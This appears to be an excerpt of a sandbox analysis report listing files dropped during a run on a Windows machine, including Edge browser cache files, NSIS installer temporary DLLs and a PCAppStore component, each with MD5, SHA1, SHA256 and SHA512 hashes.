SHA512 78385a4840d2c75bacd01160b287d916b7132594965d05328fa2f4178d3884977c40fb9b76357d0bca53fe9d357928a47a5d3489c6db2da5c4df7a8065089af2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000125

MD5 6562fcd93b4af6176bf8448d3e1ecf55
SHA1 9cf959b1a7146cedcb991e9c7861ab2ab9b56c52
SHA256 c86262dc5cbb092699637f753fb8c9a7a81fa3c3381c2f243d32cc687a3a3853
SHA512 9102c8c220240bc26f906674bf0a9a1d62794d20c3a6d4ed3554f667d0184a4985f3f9e6bfe89447243bf0f405dfcec624edd8285e58ef85e09c6cba3c0d5ff0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\14ff8116b518ca2d_0

MD5 d93a35d2e0b371bf400ffabc4e351ce4
SHA1 39330c09b90312e5654d80397146e31f6133ff20
SHA256 bf2ba492e4e34f62b548cf366bf309b56c16041321aca557da3541e2fe7e0455
SHA512 663fc0338d3e13edceb402b1147286bbd7a4fa9c0fd093a022676ff7eefeba49f3a78e9209d15a98f09cfddb9a398e53fd5816b8aa00ebd0298fcb8aaec452e6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\cc2f0fedd3e9608a_0

MD5 e04bbbb77926936bf8d557e00961e58d
SHA1 bde04df1c865a9399fd0b132a496500b24a03094
SHA256 5d2d19eb6d244da12ce6c084375e1e7fb6066805546a8040171346129c96ec82
SHA512 43d1977243d1f154edb0cc8acff176a8971a10f7a8dd69b0bfd0f3b6396aaf183a949845f7934289ccaf4fc500f94d8806b06dc182ec5e19d3942698a1821d77

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8e5987d08f7b6e11_0

MD5 472a7b0458de537d792a263a880abc2e
SHA1 a8a53282d9ca3b7ceb817f4c065528d714f22bf3
SHA256 64d90d8f1b5ec0f5bb6e8ca073bf4d8d2c34f25482523dfcde38c848d2e5b128
SHA512 21556aa4646d6a8f780bcea99d70d1b4f8fa30d37716c1f0d5622efed9e8d2c92fe374db3d4c866d7d8be87f8203f77693d03aacdb1df8d4360c8ac9b28789ef

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\02735674612cbc52_0

MD5 cbf47c30b06b1337338de7f02ec796c5
SHA1 77eb313fded4055841c32e99b140673d17c068c4
SHA256 c7b536239625e5a123ecd50deeee1d9f196cfc136568fddfd9ce5d8d3c123099
SHA512 566dc2cfd405d7838fa061245eb33ff1a7eff33f21ed5bcfb449d6dfea64733abe95ebf938e6b47b83a565de84e149ad932c5f311ec39a06dafe64cbb666cf13

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\64fa70d4ab69732e_0

MD5 990f03408c8129feadf41741abebc375
SHA1 a630b56f0aa8d002b2f42e428008d5b665c229c3
SHA256 50f2e3ec676ecfa816e20f676252fe49bfd6d21c67f740f208acae477ba403ce
SHA512 017897f02f3bbd2a5a343502e742b93e3227b061d6f27cba6775dc704cdd64dcc93f24dbb035dca1774a1eedce76df764eb96601aefeddc41fb606d17fde0a25

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\c807b8e9088e4030_0

MD5 0467c58fa8dffcd17ce7c229ac958567
SHA1 fd83066339bd118d1c25c7b364f611ebc82712fd
SHA256 1050cffc94e0350f422e9562320874fe69d9750703546ae828e32441947c4426
SHA512 7a7f45f8c2626e9d77c9176d0ef09cf79c07a54a80435bd34b05f130de5f85dbef514d424ce09de58d2f6c70119878a690ed8209169da4cb7678e4af79b7409c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\b07f53c03d60c350_0

MD5 5ef7a71b64cf2b1732fe18bdc54defd4
SHA1 771f23c71f7aab2f357a925b482d03f978eef8e6
SHA256 c2468d04cf3e5e917e857feaf20fb6f3de581615ae81ab9ba5d52d362bb28abc
SHA512 f9438339f11b9f21b0bccd7d6583a4fd4d8b22b4a2f944ba94e962e89910dac3df34365c2e8bf6a94b0d9a5f69a2970e29db33d272de95f901f2a698f5095f04

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4d169b468e9ff76a_0

MD5 a5999dbfff880725c67914ddc2c84006
SHA1 9da667c5fbe4f3b34ea140968d4e32cd3a6b426b
SHA256 a91ca708a9ff22f976968eb6b14ad3816162f72eded47dbd77b9b4a07da1445c
SHA512 b461e4d86c6f670afab9b5c04996037b4eeed31d2ceca92070af4de41d6f4e1468eb17d01de0684c2ba5ee29caef0c2b489ab92c813ef2f7fd85aab2e1201c02

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 8a234832b2d70e628c17ff5786eeb7ba
SHA1 46e5720c4f674dfb1511b3715a578940785d3ed8
SHA256 3dd370e1d474a95fbf14de783aa580948fa025895f0f7ef3ef8dfe1d102fe6f3
SHA512 046d8aaba4b4b4cccb68b8ac8a637e075b94e36d66870d72306c5d73d43b1679409ecf0e067bd902cfd44fc2da739987532948ec5345586c292449e6d9f6ca39

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 b1d7de29a1844f762d3b49165d2a1b6d
SHA1 d9589e8ccd206f1266966194a7b6de4e8029fa34
SHA256 589e0c68577c5e8c9dbb89da0423153bb11610845cbe3b2346ed99dd44593137
SHA512 e19cc908f8d027413726101e4e88915749ef140184944d3458138496f3dc38fe5fba4d84f7a48b57784f5deb85cb2452f121e0d6bab714c3f6c890c056474f7a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 aae88f92a2cd643286c4c20f7d01d82a
SHA1 3e4b6e2d77cec6db48e1ad57b9f3a3050d0e0dc4
SHA256 f24c45e6f77648fe3a36774859a97164d5ff462e1dd2e927dbcdca8f2424f112
SHA512 e07d4879416bf76ec5fb353c051a412c9b0b6c023c40eb2e1b46496d1b7c5b1847f27988b425bfd8b56d22f9f9d4ac58968dc7be0f302fd5ab6b40fb4a870fed

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 1c49e38542133ce4328df5dea70b36ed
SHA1 18f169058f4d1d09d41ab071142a71737a7a003b
SHA256 ca1fc37d13a3450ab1882def3e5f4e40990b05f0e22ddc18163541ff517f9823
SHA512 baa948a8570ed52a2b898a55583261a90c7abf385cc515bc853bee9efdc77687c1b2d8e55f9b1ef182d8944a67dc3841f42ef75e932612d386484ba03c1b4ef2

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

MD5 80476a6f2f081c24098f7245b1e1e2b5
SHA1 3e23d276eaea60a6fe1f16919897be0630e894e0
SHA256 6ac278f68d914fef6236407703638b3b54dd451bdeb250662b3aefd139d9d5b7
SHA512 7d814562450c74b7e27d805127a1c9c6a1685c17ba36c16276eb61cca4d36c14d10ac29ea99af4f8172a526d1824a3fc45e9fb144280df740669a13a43d37443

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 737b0a5ceaa1a366ba9a525c4a1cc379
SHA1 93eb218d0406216869ee29b4b60da3f9c46ada5d
SHA256 f5f85cc7dc3021185835c2e4f03dcabbe6a69f18cded3e01a8779fe223552cba
SHA512 183657c2d71e0090d88a8054ee23ae96540fc0529b24e6db3721053e25d1aec81a7570709bfbe3fedb73fca8732769ebbfd46934b193f2006a43de731577549e

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 d3be961b81c5d18ba0183f98292c36e1
SHA1 330f221304779f777e8804e0e6d31a788351d21e
SHA256 1ad8f1ef04e507bc0537261b32c8078ca830d6fc718adb92eef8b4e7a27d951f
SHA512 b4e8e53af4e3969ef246c61f701a222f8216f8c152c15009430cbdf094b3d7edf21b4868d66ac5842f11441dbf2fdbb77744363d577009ff21ad6fad14ee0bc2

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

MD5 db0acfb2b0a0170c9f38a7152f7933eb
SHA1 7ff269231b57126f407bc693b4b1cf7345f4ee55
SHA256 90a41b7cc075f896f81665c0f8ec853a3007278882b8f66f809a0f6ec30655f1
SHA512 d2a030184a6512bce154afeacb0682e4976e7b745f58a7cd4932fc61f8d3d51b38a8ad0917da9198f14bb326496e96ff1d513ff594477a418fc257a003682e4b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\3fd2be14abb3904c_0

MD5 ee2b137da97e655bc3cb3bc9eb75793c
SHA1 59b2c83d99096be30964b855ae9ca05808a46774
SHA256 3cd2e572749a3b59d9113abf32b7117d0601fc3d898a546636c842826c19aeb6
SHA512 389ed960a59a6c3a202850864776a54ba3c557b48cf19df92ff65b25cd4e8b48677f48520c141de6c6a4984a91a3ec0bef0b1d3dad9653f4c523dc1a20dd74fc

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\65a17db215bfc27c_0

MD5 7695b712423806d7804da541c5558e65
SHA1 27b2e7b1197ff39e1f72217d13180a7038e7953f
SHA256 a4d9bbef684c21a489aa2dfa52e73583373272da0518d608a0cf3c726829f3a1
SHA512 34b7a06d87292e68234c7c46259608d525dbad8dcaa6fe7a425bef8832d44c13b7b2bc2898a483d0cbb510eb9b1c0739c7f353ce6e4df8de2c6de13c890c05d0

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\a37ad9a49149528a_0

MD5 5a82f5f788d6fbe2652803b264fa21d4
SHA1 fc42e72861f91c6e4ff6b68656ed1e506685ccb8
SHA256 fe3cba47030ce1263cdfab7af96e7516937f33f5669202231c8e0ec6db4bd46f
SHA512 c5f163888cbe64d97b9e67247c093303db05d898a5ae7b99695f5ff64841cf2e7a6bad50860c4051f4703d5cf7d264a21cdbfef4a0971600af6fd149c0920b61

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\59fc8adf66a76ab9_0

MD5 ffa26ade3eae32bcdb75b936d289ec75
SHA1 2069a29fdf352f9c0bce777c30bd2bd00c1a0b90
SHA256 9370c1454cb5e4bb1b9cf9d977777f722622631db06d73692cd5a0ea167bc102
SHA512 4a87b1a13b7ca6260e41640843ac294ef3475d790a11e35c503fdd46f6f94e5a0fc09325b85c57b0b8e5c9fd2478f9c7cf8dff7a87acad72e47128c7a1b7e619

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\99110e9a19c3c06d_0

MD5 6fd2c528e89726473a4edcdf98dc22f0
SHA1 2a3439a91ccf6ee3eba6476df2688b709f892411
SHA256 f12207c1950ab7f0dd15b8ac0490adc096e5230b0be8bfb5cf717a21636626c7
SHA512 2487b5ec7afb18953f666d360a2f58514fd7d095230371fdaf422e9a82473078e10ae2c57d1d70d8802029b271fa73ff5985a48b550cd2d1a8e7b30978c3240a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\94f93ada55bda7c3_0

MD5 a3a62bbeb0ef1e15236ed37b0c23a540
SHA1 b82f7e2627e8b50a25138a2e8181ab43bde04bff
SHA256 f81753928ed2ae605fe7b6f39531fa5af5972913c5082daa37916c6a1b2305de
SHA512 fd761abff7e5ca271821084c037fd958d9a14fab033f775967745631a638e93d9373856da1c1246abd732a5a30ca5b383a78c09eaeb1a24165e64c865eeb4feb

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 57292653fe538f20f1e998c1a7c03ef7
SHA1 56f0595f818cb046bc6beeb5d9c90d175c4ddd41
SHA256 137f939e2f4b204e2255ea2de409d75d10a34677bf1c1c680f81e785cc448869
SHA512 f52ef65a11ee456dfc0b059814ea3f31deff8c935f08dfdd87e0258f82b7f224b5b60e11c71895257e4c414f7e95084b81149ed63418e9705f6cc1a8b222726b

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\IndexedDB\https_www.techspot.com_0.indexeddb.leveldb\CURRENT

MD5 46295cac801e5d4857d09837238a6394
SHA1 44e0fa1b517dbf802b18faf0785eeea6ac51594b
SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
SHA512 8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00015e

MD5 baa80a18dd87df5735d95654441feed0
SHA1 e600bd34f9822eacbe76dccac24d70178a839d2c
SHA256 cd12b1ca0960d19a282b891a804a3c21729d00ef26ea23b674e908465d4a691a
SHA512 ba381c34f3be056d6d44debc209d97921c2bdd8e3af66a8a899e4ba2b67d163395789e32aae31ee80c7d0d0c35685c01d1e734ebcb7645ffa54a72f0729adab2

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 fd1e460f36eff3a8e33540a28cfbe823
SHA1 ffa9e5730b8914b48b61bc723335a31c5f483730
SHA256 24147b0f715d200a8268b2e39995662d11024b188b42c5501500fa8c58fc19ad
SHA512 85704839580b081d32c22b7112741d00d1a845416dabea3b1b87df960dff37f0937c5d686718467d8ff962936f09a76ed6ec57c2306a471a99d5cad0d0e31825

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00016d

MD5 9c6b5ce6b3452e98573e6409c34dd73c
SHA1 de607fadef62e36945a409a838eb8fc36d819b42
SHA256 cd729039a1b314b25ea94b5c45c8d575d3387f7df83f98c233614bf09484a1fc
SHA512 4cfd6cc6e7af1e1c300a363a9be2c973d1797d2cd9b9009d9e1389b418dde76f5f976a6b4c2bf7ad075d784b5459f46420677370d72a0aaacd0bd477b251b8d7

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 8af7f18cb0a42fd648a32df6c58f6097
SHA1 b54a0440b1dbc2508d60fec45eb0d6cd45dd5ff1
SHA256 b22365cfe62dddb03947b7fca463ebe95ff1637aec216414b0bb695d53c94b65
SHA512 0bd04622ce68ead0e820420e6f34c875d1298a21b622b31bd1e0899af55099c84ac8518aef162f7f9f0697c0d90cd53741c20b1f14b70f9090c76475d8975cdf

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 dd90101c146c3c692d521a451fa5d51e
SHA1 a8687943b2af1b8ce7d33a21d68d8e6163e61efb
SHA256 0346dbe69858bb2e9eb2fe0bfb89b91fc891eff3ca6ec8c7d9ab5af84c6216bb
SHA512 7372fc9f9620fc4f676842199cfb163056402819af2e1c1617f29dfe0126364aec4eea8f28ef5c9aa190d5ea99c52469f2bcfa14b4738a33add0c5205b4fe1d4

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000144

MD5 8dabbe735c17b6e74aa2e95efa7840ac
SHA1 6c91735883ab409648ab9aa6ef53400f750d3f66
SHA256 59463a169874ae1f5a1d6a554d181bf451bfc181c440f38ac973b635b10c4640
SHA512 7a033757459c6fb53d1af87806fab597fe9f0bacae7bb21cd358b4ddf55f8d4a7c0fead90c089c04cf0c0d2135538e58dfae52b6b9cbb0ad4d8da9f1ae0db48c

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000143

MD5 be09cc782fbab1c0d55dc6329fd0fdca
SHA1 640d9c639cbe1efc77ef91449dca92889396ff8c
SHA256 123d6df0d977487378daac3e336f31076e295d17473a573c3ae389a0bacbdf4e
SHA512 23348f79e3f83618f72186e5c5f98f7ab68bf5ed37daf6f87d44cc9e0685902bc439458e1e1a6faa49aa9962f625176e93da42ed138b91cd93a8b4fd872ac888

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000142

MD5 e3e3ddca0a5a996ac14007fe4b2a4365
SHA1 5b2a64e57c7bd5d01e31306718d379cfa06a3718
SHA256 893bed3fd216bc7ccde22d5d9f5e0d46339d5d8237885d550747aa1aec91d4e0
SHA512 d2b1e0f7b68f2b44e27f9a4c73a0e4251f34e0b1ea9e14187a35d2007e57dbf973e133854f42cb4cec63cef6e5885056cd86565aa4355404c72f31d1bf109296

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000141

MD5 07beb57292432f1f51fe13716d8d150c
SHA1 1119dda224818191304821d5f198a15db2151c91
SHA256 33cd3708199551f8d2d00114c98cbb46472621ed8d9e1f5c6c7d40eae7db9ab8
SHA512 81d2b9231968c22c097aa89f9d594cb655e052c756478e372378232a26bc7c8aadcf62a083f95e40fa529d6bc0969cedd64790f3fa09c14e302f94dc01f1b2a8

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00016e

MD5 0c6457f22285ff1105cc619125c67a11
SHA1 1841bc64b6aff3a6886e79f65bd2e77631a78772
SHA256 0e37198b65078fa3e853d46ecbaf655fe391e5ae2a92f1e06709b9bffd0d75bb
SHA512 02d9c13354ee841ad91a8421c7a22c04beb231251ec161cf31a761a19481e7799d57009243d929c0ae021569044875cdd99309e510e660ef134d83ae4257308f

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000149

MD5 f7c0a67852ca035c3fe9f625e57647f0
SHA1 6640565b14f044892935393e6a12c38397bed3fb
SHA256 1400bf622f490a428218f47fcc498dc7505c7f4ccc15ab434ab761b857d10811
SHA512 63e54afd77ee600fef7a9b3fd4398ca811e107b0d646d3e53762c060c34b7fb0fcc76a71489c1d041c20eb6643b06a88275ee2648ea2a64f213472be8284642d

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000148

MD5 f8c44a40b44a0e8c65c5ff08b66a8c06
SHA1 2148730f83db03e28a8fafb07592da5d4065f66b
SHA256 909b2b64df2dbc398c8969a2015620d27b9110c3f0e3dd7a24a362f4a983cb13
SHA512 743fc9f37d56add340d2c77fab04e547508e5147f1521118c83c4afbce461083bf807a4f1d491e93d31bdf79036096715355ff7c8b4413994b65dcd39cebf6de

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000145

MD5 ff69157c578e8efc465724024667b95c
SHA1 c863d0d27689907a6900d8aa1f552fd716db2330
SHA256 2f78ff1fea4b0f96b2881d999bb318aa9891171316e2933e803c3bd4e8854fd4
SHA512 2145dc435502b88a54ed0cfe4f7dbc79abbdf385a3cc4752ceb7bfa5683fc659ca434fd4f8de45d0de6fb68390191e3d3dcce60d3f746330e4c5ffe86ac9ee53

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000154

MD5 0f2b52820cd527651ce61ceaa952cebb
SHA1 57335ca622a7ed9f51dfa5ee773fbe40b5648f17
SHA256 38bda85a26d3353e9f41637c38940fd25f2e6a658b2a702d5b6c03c14a529359
SHA512 e609773e40bfce4a87345ddcf6e482fef44a49d1e219cf1830466789d2f2e3e9b24b7f4f800a9c29e5326902300975e60ffe729f2b5155d4c2632d6fe4ed3f19

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000150

MD5 3049ba072c3b324010f9c5ed28709103
SHA1 e5930bc08a2b5c9c16596ad50f895707bd540d3f
SHA256 316efd78401a77dc00beaeb508ca54a3dde700c02e9e81ecb6bf7d8bdc8cab75
SHA512 f23ca3149ff8301965864b94f39b18565f1a0cdcab0d3b164a51fc9dcba7cd63c0c223f5e1ddb79f98b653fb64786714acad4f45def530e2537f95ab98b2c985

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00014f

MD5 80ceedb4526c055133fb5a84c15ee754
SHA1 6cb8ec9bbd71de7b8180f0a858ecb9de0b2011ff
SHA256 70c1ce63c156ab7df3d21ffc2c77d8a7eb027543b1acc08fe17656d871504bd2
SHA512 795750d538cde3a838a038b5a051a27a600be5ec1c44544cc3a186a5d8d0994dd6d9a9707d9a1c261ab9d5faca566110f36766b1aeaf7bd58bf8a762acca2a67

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000153

MD5 9b7bad34178607628e7ce0a4eaaf1456
SHA1 f0a1cfef0089d428e59999533c5f5de4e6001dd9
SHA256 a766b8c207873e352dcea79b2f48a3aaa8ad6764bf9c7f07b5566bc2a128617d
SHA512 38c2c82904ff737a9bf664b8980e806fd72eaa24f013f76e0405be74f782806b3dcdf9ca407d9e3f12c7d00a3b7b32d027e81300172685998c6dc52fa25fac00

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_000152

MD5 b78026870721fc7d9d2177aa580798a2
SHA1 cd535fe6cada0b5faaea8071053a5596def13408
SHA256 afa7bd659400cd5fcffdd567ca24d4d7c135aa769ecf07ed86d2b2782d4fe8c8
SHA512 56f33624b260639fe0e5f7a5e4e1cfb656c49ef3e48e2eee1c4e17ce766ec133cfe1078fb495c352939c8946274da611ae13bef81dc4eb444098b0e9d67683f9

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\6ed947f4fa500519_0

MD5 b929942d93e2dd76a68fb512cd282ef6
SHA1 fa4b433fc12dc1d575e936d7373fa87d073c941d
SHA256 cabeaef1980ac251d7ef934d891170257083df70da17eb8c417d149a3dc8b60f
SHA512 d075ba113bc61847acfef3eeed202effe33c2e647a5ca43c94b34db5e8c71a918ee266374b2f420bb0117635ba528f093896b3288f51c09e0f12fdf6318d59ec

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\4c307b02b4dcc58c_0

MD5 f01b4e43a8d69592cd5b25adbae7d6be
SHA1 4beddddcb1e08260a01600edeb98f21805290499
SHA256 f88aaf4b591d1a4e4be37398158519d7e4c25b6ef0e806bb429fa4f6b3939d53
SHA512 26f75aab03282c64cf2aeb2c7b922c1e391d6f17a2953d45b1dacdb4b39c3bae65017c40eda305bf8b30f46eec0ed6b9e9d7ff0451470bb7bc08253bf6d5d9e5

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\f_00016c

MD5 6fb26b39d8dcf2f09ef8aebb8a5ffe23
SHA1 578cac24c947a6d24bc05a6aa305756dd70e9ac3
SHA256 774379647c0a6db04a0c2662be757a730c20f13b4c03fe0b12d43c0f09e7a059
SHA512 c40f4771c10add1b20efb81ee3b61fc5ede4701587f29a1c2cdde8b6faabd1c76d769bf8b99aa19082012f95d99ba448a472463fb9056acd2e43542e14e605cd

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 a71da99a80caccb548e92dfaf1e3e8db
SHA1 fefa84574c87434cec596f0dbd657ce3920314fb
SHA256 34299f3f867e1c444b27ddf5387a5487968ae7b4488551901d1174f3b7b03aa4
SHA512 e4e3e3702a7a994ba64c0d2a556d2d7e51c563839d2f492250e151e866204b98e1b9ef53de13d63d58d31927523ae66e09a43d193d959447bd188ffa3afdc300

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 2468349a2b41f4c40e4027127e41bbc1
SHA1 07c4d9204b8ab1ec3409e11878c7c988dbbceb3f
SHA256 689f796b913489336641ee1cd08f8a040e9b0deba08d64072351d97b8410ee8b
SHA512 cc4364eb9468ca974fe8d7badbec2fd1ac899ddd22c78f353bf4b5a8a4c0f1a369a06a2eccbea35d84cc803d2a8964595937e1b3b38a97308cb4d8d58bc5531f

C:\Users\Admin\Downloads\Unconfirmed 927304.crdownload

MD5 62f27517d162b3a2d5be4a8ccfd91da6
SHA1 902ab0c8c8b227106403d740f05b5f402d7604af
SHA256 e1c06027d0842231afd9c9e64466b8078d02fb736afea7ae89e6caead2e9a2b3
SHA512 d229985d5a2ecdabac47a803394c2bf5cd3b976ba8a237816bbdbf0ed31964df11e12fbf1e562e6f1224019f015c139d3ad07dcce7f2da33d0a905944f5c7317

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

MD5 f7e4bb15224b99125e3d5cf1b9776639
SHA1 86bedfe14ffe401bbf87c05a93476036c78cfc0b
SHA256 a80a01802b11c43daffaecbc7e86249fa788dff017c85cc19b90ff0b7fa883ec
SHA512 9d593e1307572c3b70c765a46749460d6a824964cd76115e782ec39bf9682d00b0556d056d278389bd80c366073cbc526ea4c1a4ccfedf1698368f2ca27e95e6

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

MD5 56f6d04e47b2d8e61e67c0c66bcc8cc8
SHA1 08ac2665a46afe506137e47ed3312beb9a40754b
SHA256 7841d21a7dd7616b3d5095fa246c19dd55ec385a7aadc90bce80eceee07eb81b
SHA512 6258317e67cba485111223f762fc0c4a1521937466feb4dd217a744020e0d9f4e71207dede2642eae80772a34c8321e269d10ce45fdb2f33c58643135180dffa

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 d6a78c1f614c89950f82de3ea2ae87d3
SHA1 9ec3a1775627df095ecd8229538d0a9ff3a19bdc
SHA256 84e13f3e0195cb3fbcd682389995938cf6379702c5172ed40ee8a8d4270148ea
SHA512 b3ae4c8429408c26c73125c33f698e5e3ec4d3d0422618bb58ab560cfd5b737bcb3a5cfe60e41518657ed124435dd625d18bdb6fe853e1c3aa774ff7c752bf78

C:\Users\Admin\AppData\Local\Temp\nstB11A.tmp\inetc.dll

MD5 a35cdc9cf1d17216c0ab8c5282488ead
SHA1 ed8e8091a924343ad8791d85e2733c14839f0d36
SHA256 a793929232afb78b1c5b2f45d82094098bcf01523159fad1032147d8d5f9c4df
SHA512 0f15b00d0bf2aabd194302e599d69962147b4b3ef99e5a5f8d5797a7a56fd75dd9db0a667cfba9c758e6f0dab9ced126a9b43948935fe37fc31d96278a842bdf

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

MD5 26e581f45ef04a5cb4fea805c679a120
SHA1 1555fe9b29bd0191ecd4db2dcba4d3b81d674a7f
SHA256 cb9eafc1e0ea7ff61d21d000c7357e0f4db11c3127a92b58556a7e8093e5d111
SHA512 1e9ee912447d13983d37182e72b75891f44540c9ad57321341c2e252c60c947d45c18a2575aee7274edb2a008f894d7ed086a4957605c50f799962013e7e6078

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

MD5 95b008842f169b119a456de9bfa4cfa2
SHA1 77318bb82282c4283f1c77484c453d8996a6e15f
SHA256 0526497de57b07d5dffd818a02e7da9d529079f1f86ca2b70862140975d9741f
SHA512 e96eed6aac0839c7ffe45cf531858a1fa7a0e1adf21232d086f998c73866b76113540cdda2092dc1102241653e887110f66d19f9eeadab95a13e6ab5c2b201b3

C:\Users\Admin\AppData\Local\Temp\nstB11A.tmp\System.dll

MD5 cff85c549d536f651d4fb8387f1976f2
SHA1 d41ce3a5ff609df9cf5c7e207d3b59bf8a48530e
SHA256 8dc562cda7217a3a52db898243de3e2ed68b80e62ddcb8619545ed0b4e7f65a8
SHA512 531d6328daf3b86d85556016d299798fa06fefc81604185108a342d000e203094c8c12226a12bd6e1f89b0db501fb66f827b610d460b933bd4ab936ac2fd8a88

C:\Users\Admin\AppData\Local\Temp\nstB11A.tmp\nsJSON.dll

MD5 f4d89d9a2a3e2f164aea3e93864905c9
SHA1 4d4e05ee5e4e77a0631a3dd064c171ba2e227d4a
SHA256 64b3efdf3de54e338d4db96b549a7bdb7237bb88a82a0a63aef570327a78a6fb
SHA512 dbda3fe7ca22c23d2d0f2a5d9d415a96112e2965081582c7a42c139a55c5d861a27f0bd919504de4f82c59cf7d1b97f95ed5a55e87d574635afdb7eb2d8cadf2

C:\Users\Admin\AppData\Local\Temp\nstB11A.tmp\nsDialogs.dll

MD5 6c3f8c94d0727894d706940a8a980543
SHA1 0d1bcad901be377f38d579aafc0c41c0ef8dcefd
SHA256 56b96add1978b1abba286f7f8982b0efbe007d4a48b3ded6a4d408e01d753fe2
SHA512 2094f0e4bb7c806a5ff27f83a1d572a5512d979eefda3345baff27d2c89e828f68466d08c3ca250da11b01fc0407a21743037c25e94fbe688566dd7deaebd355

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

MD5 d50de5ed1005c5d70b1c16ac9a8ee45d
SHA1 4b2c4bbd3e32234f9d8b3a99b0d9d6fa7d9f28f2
SHA256 00896732ddc7c54f63b346211b0bcba33e265121019c2a1259e18bce8aaf2c0d
SHA512 749669cfdb3c69563d2e886c099aa9b1dc26e055c95aa36f0a7bb7926b6f3ec221543f995e19b9101745adf9150db31bbfbf01c90e55a7560e816d7268a5761d

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\ccba5a5986c77e43.customDestinations-ms

MD5 ae7cb0a975d6ce4d9ff6175953ae8e3a
SHA1 f8db3c880c817cda4970f2be95780b8f89d525d4
SHA256 925b3e0df485d12c7d3dbb420a7c39ef62492435825e9b318c390ba419029003
SHA512 bbdca76a1d903fc4a06259d44436fafda5f1d56dc5a8857cd6f25bf785817eda8ff06b4840727422e13b93ef1c3419bf79ea15c7892807eb904ea1e76a15a132

C:\Users\Admin\PCAppStore\nwjs\locales\bg.pak.info

MD5 82d7ab0ff6c34db264fd6778818f42b1
SHA1 eb508bd01721ba67f7daad55ba8e7acdb0a096eb
SHA256 e84331e84cd61d8bdacc574d5186fb259c00467513aa3f2090406330f68a45db
SHA512 176458b03cc2b2d3711965cd277531e002ae55d284b6c9178d2353e268f882430235468e5a1e9e45c8427864d109cf30a024a993b4763a75fa2744f6e0a6ae2a

C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index

MD5 9b6d71ed49ec58ddfe03c7d65781c5eb
